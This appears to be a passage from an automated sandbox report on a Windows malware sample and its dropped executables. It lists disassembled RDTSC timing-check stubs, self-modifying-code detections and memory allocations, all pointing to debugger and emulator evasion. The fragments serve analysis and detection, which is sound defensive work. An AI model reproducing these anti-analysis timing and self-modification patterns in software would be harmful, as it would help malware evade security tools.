Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531095A second address: 53109C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e jmp 00007F8389204226h 0x00000013 sub ebx, ebx 0x00000015 jmp 00007F8389204221h 0x0000001a test esi, esi 0x0000001c pushad 0x0000001d movzx ecx, bx 0x00000020 popad 0x00000021 je 00007F83FAE19C06h 0x00000027 jmp 00007F8389204222h 0x0000002c cmp dword ptr [esi+08h], DDEEDDEEh 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109C3 second address: 53109C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109C7 second address: 53109CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109CD second address: 53109D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53109D3 second address: 5310A5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a pushad 0x0000000b movzx ecx, dx 0x0000000e pushfd 0x0000000f jmp 00007F8389204225h 0x00000014 xor ecx, 5D46F036h 0x0000001a jmp 00007F8389204221h 0x0000001f popfd 0x00000020 popad 0x00000021 je 00007F83FAE19BA9h 0x00000027 jmp 00007F838920421Eh 0x0000002c test byte ptr [76FB6968h], 00000002h 0x00000033 jmp 00007F8389204220h 0x00000038 jne 00007F83FAE19B91h 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F8389204227h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310A5A second address: 5310AEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8388CACA5Fh 0x00000008 mov edi, ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov edx, dword ptr [ebp+0Ch] 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F8388CACA60h 0x00000017 sub si, 6348h 0x0000001c jmp 00007F8388CACA5Bh 0x00000021 popfd 0x00000022 pushad 0x00000023 jmp 00007F8388CACA66h 0x00000028 call 00007F8388CACA62h 0x0000002d pop ecx 0x0000002e popad 0x0000002f popad 0x00000030 push ecx 0x00000031 jmp 00007F8388CACA5Eh 0x00000036 mov dword ptr [esp], ebx 0x00000039 jmp 00007F8388CACA60h 0x0000003e xchg eax, ebx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 movzx esi, bx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310AEC second address: 5310B73 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8389204229h 0x00000008 adc al, FFFFFFD6h 0x0000000b jmp 00007F8389204221h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F838920421Eh 0x0000001a sbb esi, 0658B7F8h 0x00000020 jmp 00007F838920421Bh 0x00000025 popfd 0x00000026 movzx eax, bx 0x00000029 popad 0x0000002a popad 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushad 0x00000030 popad 0x00000031 pushfd 0x00000032 jmp 00007F838920421Dh 0x00000037 and ecx, 05B80C96h 0x0000003d jmp 00007F8389204221h 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B73 second address: 5310B83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA5Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310B83 second address: 5310BE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a movsx edi, ax 0x0000000d call 00007F8389204226h 0x00000012 pushfd 0x00000013 jmp 00007F8389204222h 0x00000018 and si, B648h 0x0000001d jmp 00007F838920421Bh 0x00000022 popfd 0x00000023 pop ecx 0x00000024 popad 0x00000025 push dword ptr [ebp+14h] 0x00000028 jmp 00007F838920421Fh 0x0000002d push dword ptr [ebp+10h] 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310BE7 second address: 5310BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310BEB second address: 5310BF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320E30 second address: 5320E36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320F27 second address: 5320F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320F2B second address: 5320F46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320F46 second address: 5320F4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320F4C second address: 5320F50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320F50 second address: 5320F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8389204223h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320C10 second address: 5320C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320C25 second address: 5320C57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 mov edx, 51615CBEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F838920421Eh 0x00000017 adc cl, FFFFFF88h 0x0000001a jmp 00007F838920421Bh 0x0000001f popfd 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320C57 second address: 5320C5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320C5D second address: 5320C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320C61 second address: 5320C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320C65 second address: 5320C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320C75 second address: 5320C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320C79 second address: 5320C7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A072F second address: 53A079D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 pushfd 0x00000006 jmp 00007F8388CACA5Bh 0x0000000b adc esi, 1BEC861Eh 0x00000011 jmp 00007F8388CACA69h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b pushad 0x0000001c mov bl, 9Eh 0x0000001e movzx eax, di 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 call 00007F8388CACA5Ch 0x0000002b pop ecx 0x0000002c pushfd 0x0000002d jmp 00007F8388CACA5Bh 0x00000032 jmp 00007F8388CACA63h 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A079D second address: 53A07B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8389204224h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390A2F second address: 5390A35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390A35 second address: 5390A50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8389204220h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390A50 second address: 5390A61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ebx 0x0000000c mov ax, 53BDh 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390A61 second address: 5390A98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204223h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F8389204226h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov di, cx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539084C second address: 5390850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390850 second address: 5390856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390856 second address: 5390868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390868 second address: 539086C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539086C second address: 53908C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8388CACA5Ah 0x00000010 or cl, FFFFFFB8h 0x00000013 jmp 00007F8388CACA5Bh 0x00000018 popfd 0x00000019 push ecx 0x0000001a pushfd 0x0000001b jmp 00007F8388CACA5Fh 0x00000020 xor al, 0000007Eh 0x00000023 jmp 00007F8388CACA69h 0x00000028 popfd 0x00000029 pop ecx 0x0000002a popad 0x0000002b mov dword ptr [esp], ebp 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53908C9 second address: 53908CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53908CD second address: 53908E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53908E5 second address: 5390918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F838920421Dh 0x0000000b sub ah, 00000016h 0x0000000e jmp 00007F8389204221h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390918 second address: 539091C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539091C second address: 5390922 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390922 second address: 539093C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 2BF83177h 0x00000008 mov esi, 2D346E13h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov si, dx 0x00000017 mov eax, edi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533026F second address: 5330274 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330274 second address: 53302CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F8388CACA60h 0x0000000a sub ax, E7F8h 0x0000000f jmp 00007F8388CACA5Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F8388CACA5Bh 0x00000022 or al, FFFFFFBEh 0x00000025 jmp 00007F8388CACA69h 0x0000002a popfd 0x0000002b movzx esi, bx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53302CE second address: 53302D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ch 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53302D5 second address: 5330319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 mov eax, 062C9ECDh 0x0000000e pushfd 0x0000000f jmp 00007F8388CACA5Ah 0x00000014 and eax, 727053E8h 0x0000001a jmp 00007F8388CACA5Bh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F8388CACA65h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330319 second address: 533031F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533031F second address: 5330323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330323 second address: 533037D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F838920421Fh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F838920421Bh 0x00000019 add si, E93Eh 0x0000001e jmp 00007F8389204229h 0x00000023 popfd 0x00000024 call 00007F8389204220h 0x00000029 pop ecx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390C9C second address: 5390D28 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8388CACA66h 0x00000008 xor eax, 502ADA68h 0x0000000e jmp 00007F8388CACA5Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push esi 0x00000017 pushfd 0x00000018 jmp 00007F8388CACA5Fh 0x0000001d add si, 2DAEh 0x00000022 jmp 00007F8388CACA69h 0x00000027 popfd 0x00000028 pop eax 0x00000029 popad 0x0000002a push ebx 0x0000002b pushad 0x0000002c mov edi, ecx 0x0000002e mov ecx, 3D8590C5h 0x00000033 popad 0x00000034 mov dword ptr [esp], ebp 0x00000037 jmp 00007F8388CACA60h 0x0000003c mov ebp, esp 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F8388CACA5Ah 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390D28 second address: 5390D37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390D37 second address: 5390D3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390D3D second address: 5390D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390D41 second address: 5390D45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390D45 second address: 5390DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b jmp 00007F8389204227h 0x00000010 push dword ptr [ebp+08h] 0x00000013 jmp 00007F8389204226h 0x00000018 push E097B717h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F838920421Ah 0x00000025 pushfd 0x00000026 jmp 00007F8389204222h 0x0000002b adc si, 18A8h 0x00000030 jmp 00007F838920421Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390E1B second address: 5390E21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390E21 second address: 5390E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390E25 second address: 5390E64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007F8388CACA63h 0x00000012 or ax, 460Eh 0x00000017 jmp 00007F8388CACA69h 0x0000001c popfd 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534051B second address: 5340520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340520 second address: 5340526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340526 second address: 534053E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F838920421Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534053E second address: 5340542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340542 second address: 534055D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204227h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534055D second address: 5340593 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8388CACA61h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340593 second address: 5340599 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340599 second address: 5340646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 jmp 00007F8388CACA5Ch 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 jmp 00007F8388CACA5Eh 0x00000016 mov cx, 48C1h 0x0000001a popad 0x0000001b push FFFFFFFEh 0x0000001d jmp 00007F8388CACA5Ch 0x00000022 push 36FF345Dh 0x00000027 pushad 0x00000028 call 00007F8388CACA67h 0x0000002d mov bh, ah 0x0000002f pop ebx 0x00000030 pushfd 0x00000031 jmp 00007F8388CACA62h 0x00000036 sub al, 00000068h 0x00000039 jmp 00007F8388CACA5Bh 0x0000003e popfd 0x0000003f popad 0x00000040 add dword ptr [esp], 3FFA8BBBh 0x00000047 pushad 0x00000048 mov ebx, 1372F9D6h 0x0000004d popad 0x0000004e call 00007F8388CACA59h 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F8388CACA68h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340646 second address: 5340650 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 13A5BBA4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340650 second address: 534065E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534065E second address: 5340662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CEED2F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: CEEC17 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F2079E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 16ED2F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 16EC17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3A079E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Special instruction interceptor: First address: 7B7AE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Special instruction interceptor: First address: 7B79DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Special instruction interceptor: First address: 983978 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Special instruction interceptor: First address: 9ED48B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Special instruction interceptor: First address: 13DDDAC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Special instruction interceptor: First address: 13DDE7C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Special instruction interceptor: First address: 13DB5C2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Special instruction interceptor: First address: 15A9F69 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Special instruction interceptor: First address: 1591479 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe	Special instruction interceptor: First address: 160A4F4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Special instruction interceptor: First address: 892F84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Special instruction interceptor: First address: 8A0E86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Special instruction interceptor: First address: 8A0EF1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017611001\5fc147bcaa.exe	Special instruction interceptor: First address: 921F4B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 1890000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 35A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 1890000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe	Memory allocated: 5A30000 memory reserve \| memory write watch	Jump to behavior
